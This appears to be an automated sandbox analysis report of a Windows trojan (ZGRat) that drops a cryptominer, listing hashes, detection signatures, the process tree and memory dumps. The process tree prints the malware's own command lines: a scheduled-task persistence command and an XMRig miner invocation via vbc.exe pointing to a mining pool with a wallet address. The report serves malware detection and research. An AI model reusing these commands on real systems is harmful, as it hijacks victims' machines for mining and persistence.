Analysis

  • max time kernel
    268s
  • max time network
    311s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    29-01-2024 04:54

General

  • Target

    8ee36fd8214e1c9c09721d34bc9f28ed327c09bb9b05b70581697d3329e609c1.exe

  • Size

    5.6MB

  • MD5

    1a27bd843a09f923661a15300e02d703

  • SHA1

    5cb66b20c4cbda0cd080bb2380034d7da9cc7ce6

  • SHA256

    8ee36fd8214e1c9c09721d34bc9f28ed327c09bb9b05b70581697d3329e609c1

  • SHA512

    330a78e0214304d4786d8d2d98905fbff7c530042eac93ea133995661a7432c60a9bb052804598479c461da6bef4bfdbffb8a5e8cd473fd6a96ff0012ceaab05

  • SSDEEP

    49152:q6orqtRW0jfH4+8MjRJHiEpxxH4vNpQXGp8mih7NUfXUu4tEqNrqcqapPeDkwVzO:foWjZG/Mul2rq/aReDkizMeQU4T

Score
10/10

Malware Config

Signatures

  • Detect ZGRat V1 4 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 19 IoCs
  • .NET Reactor proctector 4 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Executes dropped EXE 2 IoCs
  • UPX packed file 28 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\8ee36fd8214e1c9c09721d34bc9f28ed327c09bb9b05b70581697d3329e609c1.exe
    "C:\Users\Admin\AppData\Local\Temp\8ee36fd8214e1c9c09721d34bc9f28ed327c09bb9b05b70581697d3329e609c1.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:212
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9F4D.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:164
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3648
      • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
        "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3068
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
            5⤵
            • Creates scheduled task(s)
            PID:756
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3200
  • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
    C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1572
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        3⤵
        • Creates scheduled task(s)
        PID:2500
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4596

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe

    Filesize

    330KB

    MD5

    d2fedcb9aa37870346391f43973672f0

    SHA1

    083b0b473b332f5812df46c0edbb79f461ac16c8

    SHA256

    053e05c396e5c006187196fdab875f773dee9c75450878a5e84db846a5dd8e12

    SHA512

    2acabdd255feb796c303be8d7f29b5cfc59ad1a7168aa240ddabcff29c7dbb0fee758d1ae7d718cf59117805cfe34b767f616fd21a0aae83df2df43f2c015e5d

  • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe

    Filesize

    348KB

    MD5

    850f844bf4337fcfe59e32d3165478a8

    SHA1

    1a64d9fa85b77d20efda399b9509aba3b3789e9d

    SHA256

    11b10e0e1ba70c653376fc3e74b8d583e42fd5e7edf2323e36a9d283a8089fa5

    SHA512

    9bcae348c8e5694df8f8fbdf4fe396d2b8450b801109e927af662adcb21e85c123099c08c4dc525ef8ff9b9bcbd9ae244de14265f7d2c2897ee1ddd9d4083318

  • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe

    Filesize

    125KB

    MD5

    41bca59b7f2ad4cff23c6624e431d062

    SHA1

    448984ad1faa92a9cd01d3bedcde27da5e410f93

    SHA256

    1e527984ccac9eb68b563cfded74b0d6b9efa3f7feac694e3b35c606d3bafe24

    SHA512

    faea757552ca8de53146ac43a3afc46938c81924b18b9e83e21a66c71a8a83c87c487640f079277a60a7284c697577b0a07a5d06008478014f38d58f4f26834b

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\.exe.log

    Filesize

    1KB

    MD5

    99e47c178875de9fe1675fe5ba0e1f42

    SHA1

    c28934210fbe9d2ee90e751b8cf21be297b3d171

    SHA256

    773f7a03c7b56de09b71249ce4920458ef67fda14b923df1d5ebc1725101b9ff

    SHA512

    7a4b79273bbc4b5966680a48d63115feed3ae48dfc0ea2a7a11e202d06d9ecab2b4b1b8e2a3d1eb9e9b35169cf9ca866f785875e19e5eeadfe11b54500c05f4c

  • C:\Users\Admin\AppData\Local\Temp\tmp9F4D.tmp.bat

    Filesize

    168B

    MD5

    488a0cc98c1e0d44736bf82e66997ce3

    SHA1

    6a02297238b1b224ca12626fd8ce5372ba8232b9

    SHA256

    7871aa41e30a4c4761446a3d1ea7f36799f11895c2664f25474a1aa005a90b9c

    SHA512

    888490c058b8bec55d1b63e89dec6b08d2c5ee4a7c5281538008f1c814cb93324bb6886fc4ac4de9a36d8cafc9ac9d8a82d90bd5367f8d5d648aefbe449bef73

  • memory/212-1-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/212-2-0x0000000001910000-0x0000000001911000-memory.dmp

    Filesize

    4KB

  • memory/212-3-0x000000001CA10000-0x000000001CA20000-memory.dmp

    Filesize

    64KB

  • memory/212-10-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/212-0-0x00000000009F0000-0x0000000000F90000-memory.dmp

    Filesize

    5.6MB

  • memory/1332-14-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/1332-20-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/1332-15-0x000000001D0C0000-0x000000001D0D0000-memory.dmp

    Filesize

    64KB

  • memory/1332-16-0x0000000001F90000-0x0000000001F91000-memory.dmp

    Filesize

    4KB

  • memory/2276-58-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/2276-49-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/2276-47-0x000000001C720000-0x000000001C730000-memory.dmp

    Filesize

    64KB

  • memory/2276-48-0x00000000034F0000-0x00000000034F1000-memory.dmp

    Filesize

    4KB

  • memory/2276-46-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/3200-38-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-22-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-28-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-29-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-32-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-33-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-34-0x000002AFA3DB0000-0x000002AFA3DF0000-memory.dmp

    Filesize

    256KB

  • memory/3200-35-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-36-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-26-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-37-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-39-0x000002AFA3E10000-0x000002AFA3E30000-memory.dmp

    Filesize

    128KB

  • memory/3200-40-0x000002AFA3DF0000-0x000002AFA3E10000-memory.dmp

    Filesize

    128KB

  • memory/3200-41-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-42-0x000002AFA3E10000-0x000002AFA3E30000-memory.dmp

    Filesize

    128KB

  • memory/3200-43-0x000002AFA3DF0000-0x000002AFA3E10000-memory.dmp

    Filesize

    128KB

  • memory/3200-25-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-24-0x000002AFA3C20000-0x000002AFA3C40000-memory.dmp

    Filesize

    128KB

  • memory/3200-23-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-27-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-21-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-19-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/3200-17-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-64-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-67-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-59-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-60-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-61-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-57-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-53-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-66-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-56-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-68-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-69-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4596-71-0x000002918D860000-0x000002918D880000-memory.dmp

    Filesize

    128KB

  • memory/4596-72-0x000002918DA90000-0x000002918DAB0000-memory.dmp

    Filesize

    128KB

  • memory/4596-74-0x000002918DA90000-0x000002918DAB0000-memory.dmp

    Filesize

    128KB

  • memory/4596-73-0x000002918D860000-0x000002918D880000-memory.dmp

    Filesize

    128KB